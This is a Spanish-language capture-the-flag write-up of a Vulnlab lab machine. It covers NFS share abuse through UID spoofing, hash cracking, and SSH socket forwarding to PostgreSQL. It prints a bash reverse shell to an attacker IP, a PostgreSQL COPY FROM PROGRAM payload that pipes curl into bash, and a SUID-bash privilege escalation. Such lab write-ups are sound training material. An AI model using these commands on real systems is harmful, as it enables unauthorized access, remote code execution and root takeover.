Content
NMAP
Comenzamos el reconocimiento de servicios y puertos a través de NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 43504/udp6 mountd
| 100005 1,2,3 47327/tcp mountd
| 100005 1,2,3 50322/udp mountd
|_ 100005 1,2,3 50865/tcp6 mountd
2049/tcp open nfs 3-4 (RPC #100003)
32815/tcp open status 1 (RPC #100024)
42617/tcp open nlockmgr 1-4 (RPC #100021)
47327/tcp open mountd 1-3 (RPC #100005)
56263/tcp open mountd 1-3 (RPC #100005)
58429/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux
Port 2049/tcp – NFS
El puerto 2049 sabemos que es utilizado por el servicio de Network File System (NFS).
NFS es un protocolo de sistema de archivos distribuido que permite a los usuarios acceder y
compartir archivos entre sistemas en una red..
Se puede usar el comando showmount para obtener info de la lista de recursos:
showmount -e 10.10.127.69
![](https://myhack.tech/storage/2024/03/imageM7UOL2.png)
Observo 2 carpetas compartidas. /var/backups y /home, lo que procedo a montarlas:
sudo mount -t nfs 10.10.121.184: . -o nolock
Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los
permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende
procedo a crearlo localmente y le asigno el mismo UID.
sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337
Una vez soy 1337 voy a poder acceder a la carpeta service.
![](https://myhack.tech/storage/2024/03/imageR33ML2.png)
Hay algunos archivos interesantes para analizar y que dan algunas pistas por donde encarar la situación.
El archivo .bash_history luce del siguiente modo:
![](https://myhack.tech/storage/2024/03/imageHOKQL2_.png)
El archivo .psql_history:
![](https://myhack.tech/storage/2024/03/imageBD5OL2-1024x117.png)
Se destaca el user service y un hash aaabf0d39951f3e6c3e8a7911df524c2
Las cuales si lo verificamos en crackstation podemos ver que el hash pertenece a la contraseña
“service“.
![](https://myhack.tech/storage/2024/03/image0NZFL2.png)
Al intentar loguear via SSH con las credenciales válidas el sistema automáticamente nos cierra la
conexión.
![](https://myhack.tech/storage/2024/03/imageKUE7K2.png)
Luego de un rato de seguir enumerando, chequeo la info que me dan del user al principio de la máquina
![](https://myhack.tech/storage/2024/03/image862DL2.png)
Y luego de un poco de Google, recuerdo que el .bash_history nos mostraba la linea siguiente:
file /var/run/postgresql/.s.PGSQL.5432
Ese path en específico es un archivo de socket Unix que se utiliza para la comunicación entre procesos
del sistema. En este caso específico para la comunicación entre aplicaciones y el servidor de la base de datos PostgreSQL.
Teniendo esto mas claro, procedo a crear un PortForwarding con SSH pasandole las credenciales que
tenemos y seteando correctamente el socket remoto para conectarnos con el cliente postgress.
ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 [email protected]
![](https://myhack.tech/storage/2024/03/image5SAOL2.png)
Y luego conectamos con Postgress:
psql -h /tmp -U postgres -p 5433
![](https://myhack.tech/storage/2024/03/imageV3HFL2.png)
USER: Postgress
Con \list puedo listar todas las base de datos:
![](https://myhack.tech/storage/2024/03/imageDTGBL2_-1024x238.png)
Luego de verificar las base de datos, veo que lo único que obtengo son el hash del user service que ya
tenemos, entonces me pongo a investigar si es posible que creemos una revshell como postgres user.
Verifico que tengo Command Execution y realizó lo siguiente para obtener una revshell:
Revshell File:
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1
Postgres-CLI
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;
Finalmente con un netcat a la escucha en el puerto 443 para obtener revshell:
sudo rlwrap nc -lnvvp 443
![](https://myhack.tech/storage/2024/03/imageL3QLL2.png)
Una vez tengo revshell y luego de enumerar un poco, me creo una conexión mas estable con SSH y
mantengo persistencia.
ROOT
Procedo a subir el PSPY a /tmp y luego lo ejecuto.
![](https://myhack.tech/storage/2024/03/imageYA7DL2-1024x123.png)
Veo que ejecuta un archivo en /usr/bin/backup y lo hace como UID=0 (root). Verificando el código observo lo siguiente:
/USR/BIN/BACKUP
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y será realizado por ROOT
![](https://myhack.tech/storage/2024/03/imageU216K2.png)
Creando suid bash para PrivEsc
cp /bin/bash pwn
chmod u+s pwn
![](https://myhack.tech/storage/2024/03/imageIJF7K2.png)
Si ahora voy a /opt/backups/current vemos que lo backupea como ROOT:
![](https://myhack.tech/storage/2024/03/image-13.png)
Ahora solo resta Rootear 😀
./pwn -p
![](https://myhack.tech/storage/2024/03/image-14.png)
Y así finalizamos con esta máquina de Vulnlab. Muchas gracias por tomarte el tiempo de leer!.